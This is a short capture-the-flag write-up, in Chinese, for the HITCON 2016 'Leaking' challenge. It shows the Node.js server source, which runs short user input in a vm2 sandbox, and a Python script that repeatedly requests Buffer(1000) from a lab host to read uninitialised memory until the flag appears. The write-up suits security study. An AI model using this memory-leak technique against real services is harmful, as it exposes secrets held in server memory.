[HITCON 2016]Leaking
源码
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});
app.listen(3000, function() {
console.log("listening on port 3000!");
});
解题步骤
在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
由于可以对传入的参数在vm中执行,所以可以用Buffer来获取到内存
脚本:
import requests
url = 'http://ca97c47b-47aa-4ec4-8bd0-e3ed52487f12.node4.buuoj.cn:81/?data=Buffer(1000)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
if 'flag{' in response:
print(response)
break